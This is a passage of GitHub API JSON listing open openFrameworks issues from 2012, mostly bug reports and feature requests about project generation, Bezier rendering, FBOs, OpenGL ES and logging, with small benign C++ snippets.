Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1216,"id":4269429,"assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"projectGenerator sets incorrect path in Project.xcconfig","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T20:59:57Z","updated_at":"2012-04-30T19:43:14Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1215,"id":4269359,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","color":"DDDDDD","name":"section-video"}],"title":"ofVideoPlayer etc needs ofColor access","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-22T18:42:58Z","updated_at":"2012-04-22T23:56:33Z","comments":3,"milestone":null,"number":1202,"id":4231092,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","closed_at":null,"labels":[],"title":"Feature provocation pull request: ofCamera lens offset","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff"},"created_at":"2012-04-22T15:55:29Z","updated_at":"2012-05-29T17:34:24Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1201,"id":4230131,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","color":"DDDDDD","name":"section-2D"}],"title":"Bezier Shaders & Vector openGL rendering","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-20T09:23:00Z","updated_at":"2012-05-14T01:22:17Z","comments":8,"milestone":null,"number":1190,"id":4207350,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1662136}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofSetCurveResolution + ofBezierVertex bug","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-20T08:51:51Z","updated_at":"2012-05-16T09:41:20Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1189,"id":4206982,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1662136}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"ofFbo depthBufferTex can be inconsistent with colour texture","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-18T15:08:32Z","updated_at":"2012-05-01T04:10:23Z","comments":2,"milestone":null,"number":1186,"id":4174070,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":818571}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"OpenGLES2 not working","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-16T11:19:36Z","updated_at":"2012-05-16T09:44:27Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1178,"id":4132608,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":253455}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-14T13:45:42Z","updated_at":"2012-04-14T13:45:55Z","comments":0,"milestone":null,"number":1175,"id":4117762,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","color":"DDDDDD","name":"section-internals"}],"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-13T17:09:38Z","updated_at":"2012-05-16T09:39:22Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1174,"id":4108582,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","color":"DDDDDD","name":"section-internals"}],"title":"ofToHex(string) is wrong for non-ascii input","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-13T14:42:30Z","updated_at":"2012-04-14T04:20:36Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1173,"id":4104336,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1640543}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-12T10:09:42Z","updated_at":"2012-04-12T10:09:42Z","comments":0,"milestone":null,"number":1171,"id":4081188,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofNotifyEvent( boolEvent, true ) fails to compile","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T12:03:34Z","updated_at":"2012-04-13T14:54:18Z","comments":2,"milestone":null,"number":1167,"id":4063456,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"ofEvent lacks simple, argument-free use case","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T12:00:19Z","updated_at":"2012-04-11T13:21:33Z","comments":2,"milestone":null,"number":1166,"id":4063417,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"ofLogError, ofLogWarning lack format, ... args","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T11:56:33Z","updated_at":"2012-04-21T15:41:01Z","comments":6,"milestone":null,"number":1165,"id":4063366,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"grabScreen in ofImage fails on Android","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-09T17:15:21Z","updated_at":"2012-04-10T16:47:19Z","comments":4,"milestone":null,"number":1152,"id":4032047,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","closed_at":null,"labels":[],"title":"shorten + simplify ofLog output","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff"},"created_at":"2012-04-08T21:13:14Z","updated_at":"2012-05-29T14:46:40Z","comments":6,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1151,"id":4023525,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return 